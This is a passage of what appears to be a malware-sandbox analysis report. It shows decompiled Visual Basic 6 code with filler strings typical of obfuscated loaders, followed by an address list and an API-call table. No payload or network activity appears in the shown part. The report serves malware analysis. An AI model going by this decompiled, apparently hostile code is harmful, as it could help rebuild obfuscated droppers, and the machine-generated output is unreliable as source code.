				void* _v160;
				void* _v164;
				void* _v168;
				signed int _v172;
				char _v176;
				long long _v184;
				signed char _v188;
				signed int _v192;
				intOrPtr* _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				intOrPtr* _v252;
				signed int _v256;
				intOrPtr* _v260;
				signed int _v264;
				intOrPtr* _v268;
				signed int _v272;
				intOrPtr* _v276;
				signed int _v280;
				intOrPtr* _v284;
				signed int _v288;
				intOrPtr* _v292;
				signed int _v296;
				intOrPtr* _v300;
				signed int _v304;
				intOrPtr* _v308;
				signed int _v312;
				intOrPtr* _v316;
				signed int _v320;
				intOrPtr* _v324;
				signed int _v328;
				intOrPtr* _v332;
				signed int _v336;
				intOrPtr* _v340;
				signed int _v344;
				signed char _v348;
				intOrPtr* _v352;
				signed int _v356;
				intOrPtr* _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				intOrPtr* _v376;
				signed int _v380;
				intOrPtr* _v384;
				signed int _v388;
				signed int _v392;
				signed char _t601;
				signed int _t605;
				signed char _t609;
				signed int _t613;
				char* _t617;
				signed int _t621;
				short _t622;
				signed char _t639;
				signed int _t643;
				short _t644;
				char* _t648;
				signed int _t652;
				short _t653;
				signed int _t657;
				signed int _t661;
				char* _t662;
				signed char _t680;
				signed int _t684;
				signed int* _t688;
				signed char _t701;
				signed int _t705;
				char* _t709;
				signed int _t713;
				signed char _t729;
				signed int _t733;
				char* _t737;
				signed int _t741;
				signed int _t745;
				signed int _t749;
				signed char _t764;
				signed int* _t772;
				char* _t773;
				signed char _t787;
				signed int _t791;
				char* _t795;
				signed int _t799;
				signed int _t809;
				signed int _t827;
				signed char _t839;
				signed int _t843;
				char* _t847;
				signed int _t851;
				signed int* _t854;
				signed int _t870;
				void* _t983;
				void* _t985;
				intOrPtr _t986;
				long long _t1009;
				signed long long _t1011;

				_t1009 = __fp0;
				_t986 = _t985 - 0xc;
				 *[fs:0x0] = _t986;
				L004012B0();
				_v16 = _t986;
				_v12 = 0x4011a0;
				_v8 = _a4 & 0x00000001;
				_a4 = _a4 & 0xfffffffe;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4012b6, _t983);
				if( *0x427010 != 0) {
					_v252 = 0x427010;
				} else {
					_push(0x427010);
					_push(0x40d8b0);
					L004014EA();
					_v252 = 0x427010;
				}
				_t601 =  &_v60;
				L004014F0();
				_v188 = _t601;
				_v132 = 1;
				_v140 = 2;
				L004012B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t605 =  *((intOrPtr*)( *_v188 + 0x1d4))(_v188, 0x10, _t601,  *((intOrPtr*)( *((intOrPtr*)( *_v252)) + 0x320))( *_v252));
				asm("fclex");
				_v192 = _t605;
				if(_v192 >= 0) {
					_v256 = _v256 & 0x00000000;
				} else {
					_push(0x1d4);
					_push(0x40f270);
					_push(_v188);
					_push(_v192);
					L004014E4();
					_v256 = _t605;
				}
				L004014DE();
				if( *0x427010 != 0) {
					_v260 = 0x427010;
				} else {
					_push(0x427010);
					_push(0x40d8b0);
					L004014EA();
					_v260 = 0x427010;
				}
				_t609 =  &_v60;
				L004014F0();
				_v188 = _t609;
				_t613 =  *((intOrPtr*)( *_v188 + 0xf0))(_v188,  &_v40, _t609,  *((intOrPtr*)( *((intOrPtr*)( *_v260)) + 0x320))( *_v260));
				asm("fclex");
				_v192 = _t613;
				if(_v192 >= 0) {
					_v264 = _v264 & 0x00000000;
				} else {
					_push(0xf0);
					_push(0x40f270);
					_push(_v188);
					_push(_v192);
					L004014E4();
					_v264 = _t613;
				}
				if( *0x427010 != 0) {
					_v268 = 0x427010;
				} else {
					_push(0x427010);
					_push(0x40d8b0);
					L004014EA();
					_v268 = 0x427010;
				}
				_t617 =  &_v64;
				L004014F0();
				_v196 = _t617;
				_t621 =  *((intOrPtr*)( *_v196 + 0x1e0))(_v196,  &_v44, _t617,  *((intOrPtr*)( *((intOrPtr*)( *_v268)) + 0x2fc))( *_v268));
				asm("fclex");
				_v200 = _t621;
				if(_v200 >= 0) {
					_v272 = _v272 & 0x00000000;
				} else {
					_push(0x1e0);
					_push(0x40f280);
					_push(_v196);
					_push(_v200);
					L004014E4();
					_v272 = _t621;
				}
				_v84 = 0x80020004;
				_v92 = 0xa;
				_t622 =  &_v92;
				L004014D8();
				_v164 = _t622;
				_v220 = _v44;
				_v44 = _v44 & 0x00000000;
				L004014D2();
				_v224 = _v40;
				_v40 = _v40 & 0x00000000;
				L004014D2();
				 *((intOrPtr*)( *_a4 + 0x70c))(_a4,  &_v48,  &_v52, 0xe5, _v164,  &_v160, _t622);
				_v36 = _v160;
				_push( &_v52);
				_push( &_v48);
				_push(2);
				L004014CC();
				_push( &_v64);
				_push( &_v60);
				_push(2);
				L004014C6();
				L004014C0();
				if( *0x427010 != 0) {
					_v276 = 0x427010;
				} else {
					_push(0x427010);
					_push(0x40d8b0);
					L004014EA();
					_v276 = 0x427010;
				}
				_t639 =  &_v60;
				L004014F0();
				_v188 = _t639;
				_t643 =  *((intOrPtr*)( *_v188 + 0x160))(_v188,  &_v64, _t639,  *((intOrPtr*)( *((intOrPtr*)( *_v276)) + 0x318))( *_v276));
				asm("fclex");
				_v192 = _t643;
				if(_v192 >= 0) {
					_v280 = _v280 & 0x00000000;
				} else {
					_push(0x160);
					_push(0x40f290);
					_push(_v188);
					_push(_v192);
					L004014E4();
					_v280 = _t643;
				}
				_push(0);
				_push(0);
				_push(_v64);
				_t644 =  &_v108;
				_push(_t644);
				L004014BA();
				_push(L"chiropodous");
				L004014B4();
				_v164 = _t644;
				if( *0x427010 != 0) {
					_v284 = 0x427010;
				} else {
					_push(0x427010);
					_push(0x40d8b0);
					L004014EA();
					_v284 = 0x427010;
				}
				_t648 =  &_v68;
				L004014F0();
				_v196 = _t648;
				_t652 =  *((intOrPtr*)( *_v196 + 0x148))(_v196,  &_v72, _t648,  *((intOrPtr*)( *((intOrPtr*)( *_v284)) + 0x300))( *_v284));
				asm("fclex");
				_v200 = _t652;
				if(_v200 >= 0) {
					_v288 = _v288 & 0x00000000;
				} else {
					_push(0x148);
					_push(0x40f280);
					_push(_v196);
					_push(_v200);
					L004014E4();
					_v288 = _t652;
				}
				_push(0);
				_push(0);
				_push(_v72);
				_t653 =  &_v92;
				_push(_t653); // executed
				L004014BA(); // executed
				_push(_t653);
				L004014AE();
				L004014D2();
				_push(_t653);
				L004014B4();
				_v168 = _t653;
				if( *0x427010 != 0) {
					_v292 = 0x427010;
				} else {
					_push(0x427010);
					_push(0x40d8b0);
					L004014EA();
					_v292 = 0x427010;
				}
				_t657 =  &_v76;
				L004014F0();
				_v204 = _t657;
				_t661 =  *((intOrPtr*)( *_v204 + 0x48))(_v204,  &_v44, _t657,  *((intOrPtr*)( *((intOrPtr*)( *_v292)) + 0x308))( *_v292));
				asm("fclex");
				_v208 = _t661;
				if(_v208 >= 0) {
					_v296 = _v296 & 0x00000000;
				} else {
					_push(0x48);
					_push(0x40f280);
					_push(_v204);
					_push(_v208);
					L004014E4();
					_v296 = _t661;
				}
				_v160 = 0x6307;
				_t662 =  &_v108;
				L004014A8();
				_v176 = _t662;
				 *((intOrPtr*)( *_a4 + 0x710))(_a4,  &_v176, _v164, _v168, _v44, 0x69aff5,  &_v160, 0x2844, _t662);
				_push( &_v44);
				_push( &_v40);
				_push(2);
				L004014CC();
				_push( &_v64);
				_push( &_v76);
				_push( &_v72);
				_push( &_v68);
				_push( &_v60);
				_push(5);
				L004014C6();
				_push( &_v108);
				_push( &_v92);
				_push(2);
				L004014A2();
				if( *0x427010 != 0) {
					_v300 = 0x427010;
				} else {
					_push(0x427010);
					_push(0x40d8b0);
					L004014EA();
					_v300 = 0x427010;
				}
				_t680 =  &_v60;
				L004014F0();
				_v188 = _t680;
				_t684 =  *((intOrPtr*)( *_v188 + 0x108))(_v188,  &_v40, _t680,  *((intOrPtr*)( *((intOrPtr*)( *_v300)) + 0x304))( *_v300));
				asm("fclex");
				_v192 = _t684;
				if(_v192 >= 0) {
					_v304 = _v304 & 0x00000000;
				} else {
					_push(0x108);
					_push(0x40f280);
					_push(_v188);
					_push(_v192);
					L004014E4();
					_v304 = _t684;
				}
				L0040149C();
				_v184 = _t1009;
				_v132 = 0x40f2c0;
				_v140 = 8;
				L00401490();
				L00401496();
				L004014D2();
				L0040148A();
				_v228 = _v56;
				_v56 = _v56 & 0x00000000;
				L004014D2();
				L0040148A();
				_t688 =  &_v48;
				L00401484();
				 *((intOrPtr*)( *_a4 + 0x714))(_a4,  &_v44, _t688, _t688, 0x30f5,  &_v52, 0x9b,  &_v92, _v40);
				_push( &_v56);
				_push( &_v52);
				_push( &_v48);
				_push( &_v44);
				_push( &_v40);
				_push(5);
				L004014CC();
				L004014DE();
				L004014C0();
				if( *0x427010 != 0) {
					_v308 = 0x427010;
				} else {
					_push(0x427010);
					_push(0x40d8b0);
					L004014EA();
					_v308 = 0x427010;
				}
				_t701 =  &_v60;
				L004014F0();
				_v188 = _t701;
				_t705 =  *((intOrPtr*)( *_v188 + 0x158))(_v188,  &_v40, _t701,  *((intOrPtr*)( *((intOrPtr*)( *_v308)) + 0x30c))( *_v308));
				asm("fclex");
				_v192 = _t705;
				if(_v192 >= 0) {
					_v312 = _v312 & 0x00000000;
				} else {
					_push(0x158);
					_push(0x40f310);
					_push(_v188);
					_push(_v192);
					L004014E4();
					_v312 = _t705;
				}
				if( *0x427010 != 0) {
					_v316 = 0x427010;
				} else {
					_push(0x427010);
					_push(0x40d8b0);
					L004014EA();
					_v316 = 0x427010;
				}
				_t709 =  &_v64;
				L004014F0();
				_v196 = _t709;
				_t713 =  *((intOrPtr*)( *_v196 + 0x60))(_v196,  &_v176, _t709,  *((intOrPtr*)( *((intOrPtr*)( *_v316)) + 0x300))( *_v316));
				asm("fclex");
				_v200 = _t713;
				if(_v200 >= 0) {
					_v320 = _v320 & 0x00000000;
				} else {
					_push(0x60);
					_push(0x40f280);
					_push(_v196);
					_push(_v200);
					L004014E4();
					_v320 = _t713;
				}
				L0040148A();
				L0040148A();
				 *((intOrPtr*)( *_a4 + 0x718))(_a4, 0x49fe,  &_v44, _v40,  &_v48, _v176,  &_v160);
				 *((short*)(_a4 + 0x34)) = _v160;
				_push( &_v48);
				_push( &_v40);
				_push( &_v44);
				_push(3);
				L004014CC();
				_push( &_v64);
				_push( &_v60);
				_push(2);
				L004014C6();
				if( *0x427010 != 0) {
					_v324 = 0x427010;
				} else {
					_push(0x427010);
					_push(0x40d8b0);
					L004014EA();
					_v324 = 0x427010;
				}
				_t729 =  &_v60;
				L004014F0();
				_v188 = _t729;
				_t733 =  *((intOrPtr*)( *_v188 + 0xe8))(_v188,  &_v160, _t729,  *((intOrPtr*)( *((intOrPtr*)( *_v324)) + 0x320))( *_v324));
				asm("fclex");
				_v192 = _t733;
				if(_v192 >= 0) {
					_v328 = _v328 & 0x00000000;
				} else {
					_push(0xe8);
					_push(0x40f270);
					_push(_v188);
					_push(_v192);
					L004014E4();
					_v328 = _t733;
				}
				if( *0x427010 != 0) {
					_v332 = 0x427010;
				} else {
					_push(0x427010);
					_push(0x40d8b0);
					L004014EA();
					_v332 = 0x427010;
				}
				_t737 =  &_v64;
				L004014F0();
				_v196 = _t737;
				_t741 =  *((intOrPtr*)( *_v196 + 0xa0))(_v196,  &_v40, _t737,  *((intOrPtr*)( *((intOrPtr*)( *_v332)) + 0x310))( *_v332));
				asm("fclex");
				_v200 = _t741;
				if(_v200 >= 0) {
					_v336 = _v336 & 0x00000000;
				} else {
					_push(0xa0);
					_push(0x40f310);
					_push(_v196);
					_push(_v200);
					L004014E4();
					_v336 = _t741;
				}
				if( *0x427010 != 0) {
					_v340 = 0x427010;
				} else {
					_push(0x427010);
					_push(0x40d8b0);
					L004014EA();
					_v340 = 0x427010;
				}
				_t745 =  &_v68;
				L004014F0();
				_v204 = _t745;
				_t749 =  *((intOrPtr*)( *_v204 + 0x48))(_v204,  &_v44, _t745,  *((intOrPtr*)( *((intOrPtr*)( *_v340)) + 0x304))( *_v340));
				asm("fclex");
				_v208 = _t749;
				if(_v208 >= 0) {
					_v344 = _v344 & 0x00000000;
				} else {
					_push(0x48);
					_push(0x40f280);
					_push(_v204);
					_push(_v208);
					L004014E4();
					_v344 = _t749;
				}
				L004014B4();
				_v172 = _t749;
				_v164 = _v172;
				 *((intOrPtr*)( *_a4 + 0x71c))(_a4, _v160, _v40,  &_v164, 0x650b,  &_v168, _v44);
				_v32 = _v168;
				L004014CC();
				L004014C6();
				_t764 =  *((intOrPtr*)( *_a4 + 0x6f8))(_a4, 3,  &_v60,  &_v64,  &_v68, 2,  &_v44,  &_v40);
				_v188 = _t764;
				if(_v188 >= 0) {
					_v348 = _v348 & 0x00000000;
				} else {
					_push(0x6f8);
					_push(0x40ef50);
					_push(_a4);
					_push(_v188);
					L004014E4();
					_v348 = _t764;
				}
				_t1011 =  *0x401198;
				if( *0x427000 != 0) {
					_push( *0x40119c);
					_push( *0x401198);
					L004012D4();
				} else {
					_t1011 = _t1011 /  *0x401198;
				}
				if( *0x427000 != 0) {
					_push( *0x40119c);
					_push( *0x401198);
					L004012D4();
				} else {
					_t1011 = _t1011 /  *0x401198;
				}
				_v84 = _t1011;
				asm("fnstsw ax");
				if((_t764 & 0x0000000d) == 0) {
					_v92 = 5;
					L0040147E();
					L004014D2();
					_v148 = 0x40f33c;
					_v156 = 8;
					L00401490();
					L00401478();
					_v160 = 0x6741;
					_v232 = _v48;
					_v48 = _v48 & 0x00000000;
					_t772 =  &_v44;
					L00401472();
					_t773 =  &_v160;
					L004014D2();
					 *((intOrPtr*)( *_a4 + 0x720))(_a4, _t773, _t773, _t772, _t772,  &_v124, 0xa4e83,  &_v164,  &_v124, 0xbc,  &_v108,  &_v92, 0);
					 *((short*)(_a4 + 0x36)) = _v164;
					_push( &_v48);
					_push( &_v44);
					_push( &_v40);
					_push(3);
					L004014CC();
					_push( &_v124);
					_push( &_v108);
					_push( &_v92);
					_push(3);
					L004014A2();
					if( *0x427010 != 0) {
						_v352 = 0x427010;
					} else {
						_push(0x427010);
						_push(0x40d8b0);
						L004014EA();
						_v352 = 0x427010;
					}
					_t787 =  &_v60;
					L004014F0();
					_v188 = _t787;
					_t791 =  *((intOrPtr*)( *_v188 + 0x190))(_v188,  &_v160, _t787,  *((intOrPtr*)( *((intOrPtr*)( *_v352)) + 0x318))( *_v352));
					asm("fclex");
					_v192 = _t791;
					if(_v192 >= 0) {
						_v356 = _v356 & 0x00000000;
					} else {
						_push(0x190);
						_push(0x40f290);
						_push(_v188);
						_push(_v192);
						L004014E4();
						_v356 = _t791;
					}
					if( *0x427010 != 0) {
						_v360 = 0x427010;
					} else {
						_push(0x427010);
						_push(0x40d8b0);
						L004014EA();
						_v360 = 0x427010;
					}
					_t795 =  &_v64;
					L004014F0();
					_v196 = _t795;
					_t799 =  *((intOrPtr*)( *_v196 + 0x50))(_v196,  &_v40, _t795,  *((intOrPtr*)( *((intOrPtr*)( *_v360)) + 0x2fc))( *_v360));
					asm("fclex");
					_v200 = _t799;
					if(_v200 >= 0) {
						_v364 = _v364 & 0x00000000;
					} else {
						_push(0x50);
						_push(0x40f280);
						_push(_v196);
						_push(_v200);
						L004014E4();
						_v364 = _t799;
					}
					_v132 = L"PRVEBALLONENS";
					_v140 = 8;
					L00401490();
					L0040146C();
					L004014AE();
					L004014D2();
					L0040148A();
					_v236 = _v40;
					_v40 = _v40 & 0x00000000;
					L004014D2();
					_t809 =  *((intOrPtr*)( *_a4 + 0x6fc))(_a4, _v160,  &_v44,  &_v48,  &_v52, 0x43deb6,  &_v108,  &_v108,  &_v92);
					_v204 = _t809;
					if(_v204 >= 0) {
						_v368 = _v368 & 0x00000000;
					} else {
						_push(0x6fc);
						_push(0x40ef50);
						_push(_a4);
						_push(_v204);
						L004014E4();
						_v368 = _t809;
					}
					L004014CC();
					L004014C6();
					L004014A2();
					_v132 = 0x40f388;
					_v140 = 8;
					L00401490();
					L00401496();
					L004014D2();
					_v148 = 0x40f2c0;
					_v156 = 8;
					L00401490();
					L00401496();
					L004014D2();
					_v240 = _v56;
					_v56 = _v56 & 0x00000000;
					L004014D2();
					L0040148A();
					_v244 = _v52;
					_v52 = _v52 & 0x00000000;
					L004014D2();
					_t827 =  *((intOrPtr*)( *_a4 + 0x700))(_a4,  &_v40, L"Lappegrejer9",  &_v44,  &_v48,  &_v160, 0x85,  &_v108, 0x65,  &_v92, 2,  &_v92,  &_v108, 2,  &_v60,  &_v64, 3,  &_v44,  &_v48,  &_v52);
					_v188 = _t827;
					if(_v188 >= 0) {
						_v372 = _v372 & 0x00000000;
					} else {
						_push(0x700);
						_push(0x40ef50);
						_push(_a4);
						_push(_v188);
						L004014E4();
						_v372 = _t827;
					}
					_v28 = _v160;
					_push( &_v56);
					_push( &_v52);
					_push( &_v48);
					_push( &_v44);
					_push( &_v40);
					_push(5);
					L004014CC();
					_push( &_v108);
					_push( &_v92);
					_push(2);
					L004014A2();
					if( *0x427010 != 0) {
						_v376 = 0x427010;
					} else {
						_push(0x427010);
						_push(0x40d8b0);
						L004014EA();
						_v376 = 0x427010;
					}
					_t839 =  &_v60;
					L004014F0();
					_v188 = _t839;
					_t843 =  *((intOrPtr*)( *_v188 + 0x1e0))(_v188,  &_v40, _t839,  *((intOrPtr*)( *((intOrPtr*)( *_v376)) + 0x2fc))( *_v376));
					asm("fclex");
					_v192 = _t843;
					if(_v192 >= 0) {
						_v380 = _v380 & 0x00000000;
					} else {
						_push(0x1e0);
						_push(0x40f280);
						_push(_v188);
						_push(_v192);
						L004014E4();
						_v380 = _t843;
					}
					if( *0x427010 != 0) {
						_v384 = 0x427010;
					} else {
						_push(0x427010);
						_push(0x40d8b0);
						L004014EA();
						_v384 = 0x427010;
					}
					_t847 =  &_v64;
					L004014F0();
					_v196 = _t847;
					_t851 =  *((intOrPtr*)( *_v196 + 0x48))(_v196,  &_v44, _t847,  *((intOrPtr*)( *((intOrPtr*)( *_v384)) + 0x320))( *_v384));
					asm("fclex");
					_v200 = _t851;
					if(_v200 >= 0) {
						_v388 = _v388 & 0x00000000;
					} else {
						_push(0x48);
						_push(0x40f270);
						_push(_v196);
						_push(_v200);
						L004014E4();
						_v388 = _t851;
					}
					_v248 = _v44;
					_v44 = _v44 & 0x00000000;
					L004014D2();
					L0040148A();
					_t854 =  &_v52;
					L00401466();
					 *((intOrPtr*)( *_a4 + 0x724))(_a4,  &_v48, _t854, _v40, _t854,  &_v176);
					 *((intOrPtr*)(_a4 + 0x38)) = _v176;
					L004014CC();
					L004014C6();
					 *((intOrPtr*)( *_a4 + 0x728))(_a4, 2,  &_v60,  &_v64, 3,  &_v40,  &_v48,  &_v52);
					_t870 =  *((intOrPtr*)( *_a4 + 0x704))(_a4);
					_v188 = _t870;
					if(_v188 >= 0) {
						_v392 = _v392 & 0x00000000;
					} else {
						_push(0x704);
						_push(0x40ef50);
						_push(_a4);
						_push(_v188);
						L004014E4();
						_v392 = _t870;
					}
					_v8 = 0;
					asm("wait");
					_push(0x423737);
					return _t870;
				}
				return __imp____vbaFPException();
			}

0x004223e4
0x004223e7
0x004223f6
0x00422402
0x0042240a
0x0042240d
0x0042241a
0x00422423
0x0042242e
0x00422438
0x00422455
0x0042243a
0x0042243a
0x0042243f
0x00422444
0x00422449
0x00422449
0x00422479
0x0042247d
0x00422482
0x00422488
0x0042248f
0x0042249c
0x004224a9
0x004224aa
0x004224ab
0x004224ac
0x004224bb
0x004224c1
0x004224c3
0x004224d0
0x004224f5
0x004224d2
0x004224d2
0x004224d7
0x004224dc
0x004224e2
0x004224e8
0x004224ed
0x004224ed
0x004224ff
0x0042250b
0x00422528
0x0042250d
0x0042250d
0x00422512
0x00422517
0x0042251c
0x0042251c
0x0042254c
0x00422550
0x00422555
0x0042256d
0x00422573
0x00422575
0x00422582
0x004225a7
0x00422584
0x00422584
0x00422589
0x0042258e
0x00422594
0x0042259a
0x0042259f
0x0042259f
0x004225b5
0x004225d2
0x004225b7
0x004225b7
0x004225bc
0x004225c1
0x004225c6
0x004225c6
0x004225f6
0x004225fa
0x004225ff
0x00422617
0x0042261d
0x0042261f
0x0042262c
0x00422651
0x0042262e
0x0042262e
0x00422633
0x00422638
0x0042263e
0x00422644
0x00422649
0x00422649
0x00422658
0x0042265f
0x00422666
0x0042266a
0x0042266f
0x00422679
0x0042267f
0x0042268c
0x00422694
0x0042269a
0x004226a7
0x004226ce
0x004226db
0x004226e2
0x004226e6
0x004226e7
0x004226e9
0x004226f4
0x004226f8
0x004226f9
0x004226fb
0x00422706
0x00422712
0x0042272f
0x00422714
0x00422714
0x00422719
0x0042271e
0x00422723
0x00422723
0x00422753
0x00422757
0x0042275c
0x00422774
0x0042277a
0x0042277c
0x00422789
0x004227ae
0x0042278b
0x0042278b
0x00422790
0x00422795
0x0042279b
0x004227a1
0x004227a6
0x004227a6
0x004227b5
0x004227b7
0x004227b9
0x004227bc
0x004227bf
0x004227c0
0x004227c8
0x004227cd
0x004227d2
0x004227e0
0x004227fd
0x004227e2
0x004227e2
0x004227e7
0x004227ec
0x004227f1
0x004227f1
0x00422821
0x00422825
0x0042282a
0x00422842
0x00422848
0x0042284a
0x00422857
0x0042287c
0x00422859
0x00422859
0x0042285e
0x00422863
0x00422869
0x0042286f
0x00422874
0x00422874
0x00422883
0x00422885
0x00422887
0x0042288a
0x0042288d
0x0042288e
0x00422896
0x00422897
0x004228a1
0x004228a6
0x004228a7
0x004228ac
0x004228ba
0x004228d7
0x004228bc
0x004228bc
0x004228c1
0x004228c6
0x004228cb
0x004228cb
0x004228fb
0x004228ff
0x00422904
0x0042291c
0x0042291f
0x00422921
0x0042292e
0x00422950
0x00422930
0x00422930
0x00422932
0x00422937
0x0042293d
0x00422943
0x00422948
0x00422948
0x00422957
0x00422960
0x00422964
0x00422969
0x0042299e
0x004229a7
0x004229ab
0x004229ac
0x004229ae
0x004229b9
0x004229bd
0x004229c1
0x004229c5
0x004229c9
0x004229ca
0x004229cc
0x004229d7
0x004229db
0x004229dc
0x004229de
0x004229ed
0x00422a0a
0x004229ef
0x004229ef
0x004229f4
0x004229f9
0x004229fe
0x004229fe
0x00422a2e
0x00422a32
0x00422a37
0x00422a4f
0x00422a55
0x00422a57
0x00422a64
0x00422a89
0x00422a66
0x00422a66
0x00422a6b
0x00422a70
0x00422a76
0x00422a7c
0x00422a81
0x00422a81
0x00422a93
0x00422a98
0x00422a9e
0x00422aa5
0x00422ab8
0x00422ac6
0x00422ad0
0x00422add
0x00422ae5
0x00422aeb
0x00422af8
0x00422b05
0x00422b13
0x00422b1d
0x00422b2f
0x00422b38
0x00422b3c
0x00422b40
0x00422b44
0x00422b48
0x00422b49
0x00422b4b
0x00422b56
0x00422b5e
0x00422b6a
0x00422b87
0x00422b6c
0x00422b6c
0x00422b71
0x00422b76
0x00422b7b
0x00422b7b
0x00422bab
0x00422baf
0x00422bb4
0x00422bcc
0x00422bd2
0x00422bd4
0x00422be1
0x00422c06
0x00422be3
0x00422be3
0x00422be8
0x00422bed
0x00422bf3
0x00422bf9
0x00422bfe
0x00422bfe
0x00422c14
0x00422c31
0x00422c16
0x00422c16
0x00422c1b
0x00422c20
0x00422c25
0x00422c25
0x00422c55
0x00422c59
0x00422c5e
0x00422c79
0x00422c7c
0x00422c7e
0x00422c8b
0x00422cad
0x00422c8d
0x00422c8d
0x00422c8f
0x00422c94
0x00422c9a
0x00422ca0
0x00422ca5
0x00422ca5
0x00422cbc
0x00422cc9
0x00422cf3
0x00422d03
0x00422d0a
0x00422d0e
0x00422d12
0x00422d13
0x00422d15
0x00422d20
0x00422d24
0x00422d25
0x00422d27
0x00422d36
0x00422d53
0x00422d38
0x00422d38
0x00422d3d
0x00422d42
0x00422d47
0x00422d47
0x00422d77
0x00422d7b
0x00422d80
0x00422d9b
0x00422da1
0x00422da3
0x00422db0
0x00422dd5
0x00422db2
0x00422db2
0x00422db7
0x00422dbc
0x00422dc2
0x00422dc8
0x00422dcd
0x00422dcd
0x00422de3
0x00422e00
0x00422de5
0x00422de5
0x00422dea
0x00422def
0x00422df4
0x00422df4
0x00422e24
0x00422e28
0x00422e2d
0x00422e45
0x00422e4b
0x00422e4d
0x00422e5a
0x00422e7f
0x00422e5c
0x00422e5c
0x00422e61
0x00422e66
0x00422e6c
0x00422e72
0x00422e77
0x00422e77
0x00422e8d
0x00422eaa
0x00422e8f
0x00422e8f
0x00422e94
0x00422e99
0x00422e9e
0x00422e9e
0x00422ece
0x00422ed2
0x00422ed7
0x00422eef
0x00422ef2
0x00422ef4
0x00422f01
0x00422f23
0x00422f03
0x00422f03
0x00422f05
0x00422f0a
0x00422f10
0x00422f16
0x00422f1b
0x00422f1b
0x00422f2d
0x00422f32
0x00422f40
0x00422f6b
0x00422f78
0x00422f86
0x00422f9c
0x00422fac
0x00422fb2
0x00422fbf
0x00422fe1
0x00422fc1
0x00422fc1
0x00422fc6
0x00422fcb
0x00422fce
0x00422fd4
0x00422fd9
0x00422fd9
0x00422fe8
0x00422ff5
0x00422fff
0x00423005
0x0042300b
0x00422ff7
0x00422ff7
0x00422ff7
0x00423017
0x00423021
0x00423027
0x0042302d
0x00423019
0x00423019
0x00423019
0x00423032
0x00423035
0x00423039
0x0042303f
0x0042304c
0x00423056
0x0042305b
0x00423065
0x00423078
0x0042308a
0x0042308f
0x0042309b
0x004230a1
0x004230b5
0x004230b9
0x004230bf
0x004230cf
0x004230dd
0x004230ed
0x004230f4
0x004230f8
0x004230fc
0x004230fd
0x004230ff
0x0042310a
0x0042310e
0x00423112
0x00423113
0x00423115
0x00423124
0x00423141
0x00423126
0x00423126
0x0042312b
0x00423130
0x00423135
0x00423135
0x00423165
0x00423169
0x0042316e
0x00423189
0x0042318f
0x00423191
0x0042319e
0x004231c3
0x004231a0
0x004231a0
0x004231a5
0x004231aa
0x004231b0
0x004231b6
0x004231bb
0x004231bb
0x004231d1
0x004231ee
0x004231d3
0x004231d3
0x004231d8
0x004231dd
0x004231e2
0x004231e2
0x00423212
0x00423216
0x0042321b
0x00423233
0x00423236
0x00423238
0x00423245
0x00423267
0x00423247
0x00423247
0x00423249
0x0042324e
0x00423254
0x0042325a
0x0042325f
0x0042325f
0x0042326e
0x00423275
0x00423288
0x00423295
0x0042329e
0x004232a8
0x004232b5
0x004232bd
0x004232c3
0x004232d0
0x004232f4
0x004232fa
0x00423307
0x00423329
0x00423309
0x00423309
0x0042330e
0x00423313
0x00423316
0x0042331c
0x00423321
0x00423321
0x0042333e
0x00423350
0x00423362
0x0042336a
0x00423371
0x00423384
0x0042338f
0x00423399
0x0042339e
0x004233a8
0x004233bb
0x004233c9
0x004233d3
0x004233db
0x004233e1
0x004233ee
0x004233fb
0x00423403
0x00423409
0x00423416
0x0042343b
0x00423441
0x0042344e
0x00423470
0x00423450
0x00423450
0x00423455
0x0042345a
0x0042345d
0x00423463
0x00423468
0x00423468
0x0042347e
0x00423485
0x00423489
0x0042348d
0x00423491
0x00423495
0x00423496
0x00423498
0x004234a3
0x004234a7
0x004234a8
0x004234aa
0x004234b9
0x004234d6
0x004234bb
0x004234bb
0x004234c0
0x004234c5
0x004234ca
0x004234ca
0x004234fa
0x004234fe
0x00423503
0x0042351b
0x00423521
0x00423523
0x00423530
0x00423555
0x00423532
0x00423532
0x00423537
0x0042353c
0x00423542
0x00423548
0x0042354d
0x0042354d
0x00423563
0x00423580
0x00423565
0x00423565
0x0042356a
0x0042356f
0x00423574
0x00423574
0x004235a4
0x004235a8
0x004235ad
0x004235c5
0x004235c8
0x004235ca
0x004235d7
0x004235f9
0x004235d9
0x004235d9
0x004235db
0x004235e0
0x004235e6
0x004235ec
0x004235f1
0x004235f1
0x00423603
0x00423609
0x00423616
0x00423623
0x0042362f
0x00423636
0x00423648
0x00423657
0x00423668
0x0042367a
0x0042368a
0x00423698
0x0042369e
0x004236ab
0x004236cd
0x004236ad
0x004236ad
0x004236b2
0x004236b7
0x004236ba
0x004236c0
0x004236c5
0x004236c5
0x004236d4
0x004236db
0x004236dc
0x00000000
0x004236dc
0x004012bc

APIs

__vbaChkstk.MSVBVM60(?,004012B6), ref: 00422402
__vbaNew2.MSVBVM60(0040D8B0,00427010,?,?,?,?,004012B6), ref: 00422444
__vbaObjSet.MSVBVM60(?,00000000), ref: 0042247D
__vbaChkstk.MSVBVM60(?,00000000), ref: 0042249C
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F270,000001D4), ref: 004224E8
__vbaFreeObj.MSVBVM60(00000000,?,0040F270,000001D4), ref: 004224FF
__vbaNew2.MSVBVM60(0040D8B0,00427010), ref: 00422517
__vbaObjSet.MSVBVM60(?,00000000), ref: 00422550
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F270,000000F0), ref: 0042259A
__vbaNew2.MSVBVM60(0040D8B0,00427010), ref: 004225C1
__vbaObjSet.MSVBVM60(?,00000000), ref: 004225FA
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F280,000001E0), ref: 00422644
#648.MSVBVM60(0000000A), ref: 0042266A
__vbaStrMove.MSVBVM60(0000000A), ref: 0042268C
__vbaStrMove.MSVBVM60(0000000A), ref: 004226A7
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 004226E9
__vbaFreeObjList.MSVBVM60(00000002,?,?,?,?,004012B6), ref: 004226FB
__vbaFreeVar.MSVBVM60(?,?,?,?,?,004012B6), ref: 00422706
__vbaNew2.MSVBVM60(0040D8B0,00427010,?,?,?,?,?,004012B6), ref: 0042271E
